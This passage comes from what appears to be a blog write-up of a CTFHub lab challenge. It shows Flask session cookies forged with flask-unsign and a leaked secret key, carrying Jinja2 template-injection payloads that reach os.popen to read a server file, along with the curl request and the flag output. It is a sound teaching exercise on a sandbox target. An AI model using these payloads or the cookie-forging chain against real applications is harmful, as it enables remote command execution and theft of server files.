object at 0x7fa5eaf13300&gt;, &#39;internalcode&#39;: &lt;function internalcode at 0x7fa5ea7db0d0&gt;, &#39;internal_code&#39;: set([&lt;code object load at 0x7fa5ea804430, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/loaders.py&#34;, line 101&gt;, &lt;code object select_template at 0x7fa5ea7fe2b0, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/environment.py&#34;, line 885&gt;, &lt;code object load at 0x7fa5ea101bb0, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/loaders.py&#34;, line 379&gt;, &lt;code object _get_default_module at 0x7fa5ea7fed30, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/environment.py&#34;, line 1168&gt;, &lt;code object _fail_with_undefined_error at 0x7fa5ea7722b0, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/runtime.py&#34;, line 742&gt;, &lt;code object get_template at 0x7fa5ea7fe230, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/environment.py&#34;, line 862&gt;, &lt;code object call at 0x7fa5ea7679b0, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/runtime.py&#34;, line 260&gt;, &lt;code object get_or_select_template at 0x7fa5ea7fe3b0, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/environment.py&#34;, line 921&gt;, &lt;code object __call__ at 0x7fa5ea76cb30, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/runtime.py&#34;, line 552&gt;, &lt;code object _load_template at 0x7fa5ea7fe130, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/environment.py&#34;, line 846&gt;, &lt;code object __call__ at 0x7fa5ea76c0b0, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/runtime.py&#34;, line 370&gt;, &lt;code object parse at 0x7fa5ea7f76b0, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/environment.py&#34;, line 522&gt;, &lt;code object compile at 0x7fa5ea7f7b30, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/environment.py&#34;, line 603&gt;, &lt;code object __getattr__ at 0x7fa5ea772330, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/runtime.py&#34;, line 749&gt;, &lt;code object load at 0x7fa5ea502030, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/loaders.py&#34;, line 422&gt;, &lt;code object __call__ at 0x7fa5ea76ceb0, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/runtime.py&#34;, line 597&gt;, &lt;code object load at 0x7fa5ea502530, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/loaders.py&#34;, line 487&gt;]), &#39;select_autoescape&#39;: &lt;function select_autoescape at 0x7fa5eae6b450&gt;, &#39;Lock&#39;: &lt;built-in function allocate_lock&gt;, &#39;string_types&#39;: (&lt;type &#39;str&#39;&gt;, &lt;type &#39;unicode&#39;&gt;), &#39;contextfunction&#39;: &lt;function contextfunction at 0x7fa5ea7d73d0&gt;, &#39;__doc__&#39;: None, &#39;import_string&#39;: &lt;function import_string at 0x7fa5ea7e37d0&gt;, &#39;_striptags_re&#39;: &lt;_sre.SRE_Pattern object at 0x7fa5eadbf6f0&gt;, &#39;_slash_escape&#39;: True, &#39;pformat&#39;: &lt;function pformat at 0x7fa5ea7ee1d0&gt;, &#39;generate_lorem_ipsum&#39;: &lt;function generate_lorem_ipsum at 0x7fa5ea7ee2d0&gt;, &#39;object_type_repr&#39;: &lt;function object_type_repr at 0x7fa5ea7e3d50&gt;, &#39;clear_caches&#39;: &lt;function clear_caches at 0x7fa5ea7e33d0&gt;, &#39;os&#39;: &lt;module &#39;os&#39; from &#39;/usr/local/lib/python2.7/os.pyc&#39;&gt;, &#39;is_undefined&#39;: &lt;function is_undefined at 0x7fa5ea7db5d0&gt;, &#39;missing&#39;: missing}, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div>                                                                                                                                                                                                          

┌──(kalikali)-[~]

└─$ /home/kali/.local/bin/flask-unsign --sign --cookie "{'n1code': '{{url_for.__globals__}}'}" --secret 'Drmhze6EPcv0fN_81Bj-nA'

eyJuMWNvZGUiOiJ7e3VybF9mb3IuX19nbG9iYWxzX199fSJ9.ai0OBg.86olI8jKLGxgu8WVg-cJr2J3fvU

                                                                                                                                                                                                        

┌──(kalikali)-[~]

└─$ /home/kali/.local/bin/flask-unsign --sign --cookie '{"n1code": "{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__[\"linecache\"].os.popen(\"cat /home/sssssserver/flag.py\").read()}}"}' --secret 'Drmhze6EPcv0fN_81Bj-nA'

.eJwdikEOwiAQRa9iZlU2EBcu9CrQkIGOLQkCYaqJIdxd5K9e3vsN0tXnjeABrelVWusjMls7yCHTBH67aWn4Rejb_f8LKZyz7jE7jCNpAzEk8ugPMrDKzLLkQmkx4PG8qCO_SPEc1Q9V9Yy4y_I1IGQl3BbRO_Qf9XE0FA.ai0OHw.Fzt93V5r0ydA9FGbUvY84bZTcrU

                                                                                                                                                                                                        

┌──(kalikali)-[~]

└─$ curl -X POST http://challenge-76e5da0fc378806b.sandbox.ctfhub.com:10800/n1page \

  -d "n1code=test" \

  -H "Cookie: session=.eJwdikEOwiAQRa9iZlU2EBcu9CrQkIGOLQkCYaqJIdxd5K9e3vsN0tXnjeABrelVWusjMls7yCHTBH67aWn4Rejb_f8LKZyz7jE7jCNpAzEk8ugPMrDKzLLkQmkx4PG8qCO_SPEc1Q9V9Yy4y_I1IGQl3BbRO_Qf9XE0FA.ai0OHw.Fzt93V5r0ydA9FGbUvY84bZTcrU"

<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : #!/usr/bin/python

 

flag = &#39;n1book{afr_3_solved}&#39;

, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div>                                                                                                                                                                                                         

 



[1] https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection

[2] Article Content:

#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'

沒有留言:

發佈留言

歡迎留下寶貴意見

BAMBOO FOREST PEN TEST REPORT --- SSTI

  SSTI   內容 SSTI . 1 1       摘要 ... 2 2       目的和範圍 ... 2 3       測試方法和流程 ... 4 4       發現的漏洞和風險評估 ... 4 5       修復建議和策略...